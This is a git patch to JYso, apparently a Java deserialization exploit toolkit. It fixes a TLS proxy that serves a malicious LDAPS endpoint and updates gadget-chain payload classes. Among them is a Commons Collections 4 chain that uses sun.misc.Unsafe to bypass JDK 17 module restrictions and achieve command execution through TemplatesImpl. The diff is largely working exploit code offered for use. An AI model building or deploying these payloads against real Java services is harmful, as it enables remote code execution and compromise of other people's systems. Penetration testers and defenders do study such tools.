From 946854c4ccd63e6a616624e5602e87e2be543508 Mon Sep 17 00:00:00 2001 From: qi4L Date: Sat, 6 Sep 2025 10:57:29 +0800 Subject: [PATCH] =?UTF-8?q?fix:=20TPSProxy=20=E5=AE=8C=E5=96=84=EF=BC=8C?= =?UTF-8?q?=E5=8F=AF=E4=BB=A5=E4=BD=BF=E7=94=A8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/main/java/com/qi4l/JYso/LdapServer.java | 1 + src/main/java/com/qi4l/JYso/TLSProxy.java | 135 +++++++++++++----- .../com/qi4l/JYso/gadgets/AspectJWeaver.java | 4 +- .../JYso/gadgets/CommonsBeanutilsJNDI.java | 2 + .../com/qi4l/JYso/gadgets/Config/Config.java | 4 +- .../qi4l/JYso/gadgets/annotation/Authors.java | 3 +- .../java/com/qi4l/JYso/gadgets/cb160.java | 7 +- src/main/java/com/qi4l/JYso/gadgets/cc10.java | 4 - .../java/com/qi4l/JYso/gadgets/cc4_17.java | 24 ++-- .../qi4l/JYso/gadgets/utils/jdk17Bypass.java | 8 +- 10 files changed, 126 insertions(+), 66 deletions(-) diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java index 2558764..d937b61 100644 --- a/src/main/java/com/qi4l/JYso/LdapServer.java +++ b/src/main/java/com/qi4l/JYso/LdapServer.java @@ -59,6 +59,7 @@ public class LdapServer extends InMemoryOperationInterceptor { ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); + if (!USER.equals("") || !PASSWD.equals("")) { serverConfig.addAdditionalBindCredentials(USER, PASSWD); } diff --git a/src/main/java/com/qi4l/JYso/TLSProxy.java b/src/main/java/com/qi4l/JYso/TLSProxy.java index 05134c6..d6ff96a 100644 --- a/src/main/java/com/qi4l/JYso/TLSProxy.java +++ b/src/main/java/com/qi4l/JYso/TLSProxy.java @@ -1,37 +1,33 @@ package com.qi4l.JYso; import com.qi4l.JYso.gadgets.Config.Config; - import javax.net.ssl.*; -import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; +import java.nio.file.Files; +import java.nio.file.Paths; import java.security.KeyStore; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; - import static org.fusesource.jansi.Ansi.ansi; public class TLSProxy { private final String localAddr; private final String remoteAddr; private final String certFile; - private final String keyFile; - public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) { + public TLSProxy(String localAddr, String remoteAddr, String certFile) { this.localAddr = localAddr; this.remoteAddr = remoteAddr; this.certFile = certFile; - this.keyFile = keyFile; } public static void start() { System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >> " + Config.TLSPort + "...")); - - new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run(); + new TLSProxy(Config.ip + ":" + Config.TLSPort, Config.ip + ":" + Config.ldapPort, Config.certFile).run(); } public void run() { @@ -44,13 +40,10 @@ public class TLSProxy { try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) { String[] addressParts = localAddr.split(":"); serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1]))); - //System.out.println("TLS Proxy started on " + localAddr); ExecutorService executorService = Executors.newCachedThreadPool(); - while (true) { SSLSocket clientSocket = (SSLSocket) serverSocket.accept(); - //System.out.println("New connection from " + clientSocket.getRemoteSocketAddress()); executorService.submit(() -> handleConnection(clientSocket)); } } catch (IOException e) { @@ -60,16 +53,15 @@ public class TLSProxy { private SSLServerSocketFactory createSSLServerSocketFactory() { try { - SSLContext sslContext = SSLContext.getInstance("TLS"); + SSLContext sslContext = SSLContext.getInstance("TLS"); KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); - KeyStore keyStore = KeyStore.getInstance("JKS"); + KeyStore keyStore = KeyStore.getInstance("JKS"); - try (InputStream keyInput = new FileInputStream(certFile)) { + try (InputStream keyInput = Files.newInputStream(Paths.get(certFile))) { keyStore.load(keyInput, Config.keyPass.toCharArray()); } keyManagerFactory.init(keyStore, Config.keyPass.toCharArray()); - sslContext.init(keyManagerFactory.getKeyManagers(), null, null); return sslContext.getServerSocketFactory(); } catch (Exception e) { @@ -79,40 +71,105 @@ public class TLSProxy { } private void handleConnection(SSLSocket clientSocket) { - String[] addressParts = localAddr.split(":"); - try (Socket remoteSocket = new Socket(addressParts[0], Integer.parseInt(addressParts[1]))) { - System.out.println("Connected to " + remoteAddr); + String[] remoteAddressParts = remoteAddr.split(":"); + Socket remoteSocket = null; + + try { + // 修复:使用 remoteAddr 而不是 localAddr + remoteSocket = new Socket(remoteAddressParts[0], Integer.parseInt(remoteAddressParts[1])); + ExecutorService executorService = Executors.newCachedThreadPool(); - //executorService.submit(() -> { - // try { - // forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream()); - // } catch (IOException e) { - // throw new RuntimeException(e); - // } - //}); - //executorService.submit(() -> { - // try { - // forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream()); - // } catch (IOException e) { - // throw new RuntimeException(e); - // } - //}); + // 使用标志跟踪连接状态 + final boolean[] connectionClosed = {false}; + + Socket finalRemoteSocket1 = remoteSocket; + executorService.submit(() -> { + try { + forwardData(clientSocket.getInputStream(), finalRemoteSocket1.getOutputStream()); + } catch (IOException e) { + // 正常关闭连接时可能会抛出异常,不打印堆栈跟踪 + if (!connectionClosed[0]) { + System.err.println("Client to remote error: " + e.getMessage()); + } + } finally { + closeConnection(clientSocket, finalRemoteSocket1, connectionClosed); + } + }); + + Socket finalRemoteSocket = remoteSocket; + executorService.submit(() -> { + try { + forwardData(finalRemoteSocket.getInputStream(), clientSocket.getOutputStream()); + } catch (IOException e) { + // 正常关闭连接时可能会抛出异常,不打印堆栈跟踪 + if (!connectionClosed[0]) { + System.err.println("Remote to client error: " + e.getMessage()); + } + } finally { + closeConnection(clientSocket, finalRemoteSocket, connectionClosed); + } + }); + } catch (IOException e) { - e.printStackTrace(); + System.err.println("Connection error: " + e.getMessage()); + if (remoteSocket != null) { + try { + remoteSocket.close(); + } catch (IOException ex) { + // 忽略关闭异常 + } + } + try { + clientSocket.close(); + } catch (IOException ex) { + // 忽略关闭异常 + } } } - private void forwardData(InputStream input, OutputStream output) { + private void forwardData(InputStream input, OutputStream output) throws IOException { + byte[] buffer = new byte[8192]; + int bytesRead; + try { - byte[] buffer = new byte[8192]; - int bytesRead; while ((bytesRead = input.read(buffer)) != -1) { output.write(buffer, 0, bytesRead); output.flush(); } - } catch (IOException e) { - e.printStackTrace(); + } finally { + // 当读取结束时,关闭输出流 + try { + output.close(); + } catch (IOException e) { + // 忽略关闭异常 + } } } -} + + private void closeConnection(SSLSocket clientSocket, Socket remoteSocket, boolean[] connectionClosed) { + // 使用标志确保连接只关闭一次 + if (connectionClosed[0]) { + return; + } + connectionClosed[0] = true; + + // 关闭远程连接 + if (remoteSocket != null && !remoteSocket.isClosed()) { + try { + remoteSocket.close(); + } catch (IOException e) { + // 忽略关闭异常 + } + } + + // 关闭客户端连接 + if (clientSocket != null && !clientSocket.isClosed()) { + try { + clientSocket.close(); + } catch (IOException e) { + // 忽略关闭异常 + } + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java index 69fa904..9cc0659 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java @@ -34,7 +34,7 @@ import java.util.Map; * java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ==" *

* More information: - * https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 + * ... */ @SuppressWarnings({"rawtypes", "unchecked"}) @@ -60,7 +60,7 @@ public class AspectJWeaver implements ObjectPayload { TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); HashSet map = new HashSet(1); map.add("QI4L"); - Field f = null; + Field f; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java index 5265576..eca05ee 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java +++ b/src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java @@ -1,5 +1,6 @@ package com.qi4l.JYso.gadgets; +import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.utils.Reflections; import com.sun.rowset.JdbcRowSetImpl; @@ -9,6 +10,7 @@ import java.math.BigInteger; import java.util.PriorityQueue; @Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"}) +@Authors({Authors.QI4L}) public class CommonsBeanutilsJNDI implements ObjectPayload { @Override diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index 49306b0..a10de8e 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -45,11 +45,9 @@ public class Config { @Parameter(names = {"-t", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5) public static boolean TLSProxy = false; @Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5) - public static String TLSPort = ""; + public static String TLSPort = "1636"; @Parameter(names = {"-kS", " --keyPass"}, help = true, description = "TLS private key", order = 5) public static String keyPass = ""; - @Parameter(names = {"-kF", " --keyFile"}, help = true, description = "Path to the TLS private key file", order = 5) - public static String keyFile = ""; @Parameter(names = {"-cF", " --certFile"}, help = true, description = "Path to the TLS certificate file", order = 5) public static String certFile = ""; diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java index f973b84..549abec 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java @@ -52,7 +52,8 @@ public @interface Authors { String KILLER = "killer"; - String Unam4 = "Unam4"; + String Unam4 = "Unam4"; + String Jiecub3 = "jiecub3"; String[] value() default {}; diff --git a/src/main/java/com/qi4l/JYso/gadgets/cb160.java b/src/main/java/com/qi4l/JYso/gadgets/cb160.java index 0839324..66455bc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cb160.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cb160.java @@ -13,6 +13,7 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; +@SuppressWarnings("rawtypes") @Dependencies({"commons-beanutils:commons-beanutils:1.6.0"}) public class cb160 implements ObjectPayload { @@ -25,9 +26,9 @@ public class cb160 implements ObjectPayload { insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = 2573799559215537819;"); - Class beanCompareClazz = ctClass.toClass(); - BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); - final PriorityQueue queue = new PriorityQueue(2, comparator); + Class beanCompareClazz = ctClass.toClass(); + BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance(); + final PriorityQueue queue = new PriorityQueue(2, comparator); queue.add("1"); queue.add("1"); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc10.java b/src/main/java/com/qi4l/JYso/gadgets/cc10.java index 94d6da7..f1dd820 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc10.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc10.java @@ -25,10 +25,6 @@ public class cc10 implements ObjectPayload { templates = Gadgets.createTemplatesImpl(command); - Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); - patchModule(cc4_17.class,aClass); - - // 使用 InstantiateFactory 代替 InstantiateTransformer InstantiateFactory instantiateFactory = new InstantiateFactory(TrAXFilter.class, new Class[]{Templates.class}, new Object[]{templates}); FactoryTransformer factoryTransformer = new FactoryTransformer((Factory) instantiateFactory); diff --git a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java index 40efff9..3c1ade0 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java +++ b/src/main/java/com/qi4l/JYso/gadgets/cc4_17.java @@ -1,5 +1,6 @@ package com.qi4l.JYso.gadgets; +import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.utils.Gadgets; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; @@ -11,31 +12,34 @@ import java.util.PriorityQueue; import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule; -public class cc4_17 implements ObjectPayload{ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Authors({Authors.Jiecub3}) +public class cc4_17 implements ObjectPayload { @Override public Object getObject(String command) throws Exception { - final Object templates = Gadgets.createTemplatesImpl(command); + final Object templates = Gadgets.createTemplatesImpl(command); Class aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); - patchModule(cc4_17.class,aClass); + patchModule(cc4_17.class, aClass); Class TrAXFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"); InstantiateTransformer invokerTransformer5 = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); ConstantTransformer constantTransformer2 = new ConstantTransformer(TrAXFilter); - InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject",new Class[]{Object.class,long.class,Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"),60,"javax.xml"}); - InvokerTransformer invokerTransformer3 = new InvokerTransformer("get",new Class[]{Object.class}, new Object[]{null}); - InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible",new Class[]{boolean.class}, new Object[]{true}); + InvokerTransformer invokerTransformer4 = new InvokerTransformer("getAndSetObject", new Class[]{Object.class, long.class, Object.class}, new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "javax.xml"}); + InvokerTransformer invokerTransformer3 = new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}); + InvokerTransformer invokerTransformer2 = new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}); TransformerClosure transformerClosure = new TransformerClosure(invokerTransformer2); ClosureTransformer ClosureTransformer = new ClosureTransformer(transformerClosure); - InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField",new Class[]{String.class}, new Object[]{"theUnsafe"}); + InvokerTransformer invokerTransformer = new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"}); ConstantTransformer constantTransformer = new ConstantTransformer(Class.forName("sun.misc.Unsafe")); - Transformer[] transformers =new Transformer[]{constantTransformer,invokerTransformer,ClosureTransformer,invokerTransformer3,invokerTransformer4,constantTransformer2,invokerTransformer5}; + Transformer[] transformers = new Transformer[]{constantTransformer, invokerTransformer, ClosureTransformer, invokerTransformer3, invokerTransformer4, constantTransformer2, invokerTransformer5}; Transformer keyTransformer = new ChainedTransformer(transformers); TransformingComparator transformingComparator = new TransformingComparator(keyTransformer); - PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator); - patchModule(cc4_17.class,priorityQueue.getClass()); + PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator); + patchModule(cc4_17.class, priorityQueue.getClass()); Field size = priorityQueue.getClass().getDeclaredField("size"); size.setAccessible(true); size.setInt(priorityQueue, 2); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java index d108aa4..b79688a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/jdk17Bypass.java @@ -51,16 +51,16 @@ public class jdk17Bypass { } } - public static void patchModule(Class clazz, Class goalclass){ + public static void patchModule(Class clazz, Class goalclass) { try { Class UnsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe)unsafeField.get(null); + Unsafe unsafe = (Unsafe) unsafeField.get(null); Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); Class currentClass = clazz; - long addr =unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); - unsafe.getAndSetObject(currentClass,addr,ObjectModule); + long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + unsafe.getAndSetObject(currentClass, addr, ObjectModule); } catch (Exception e) { } }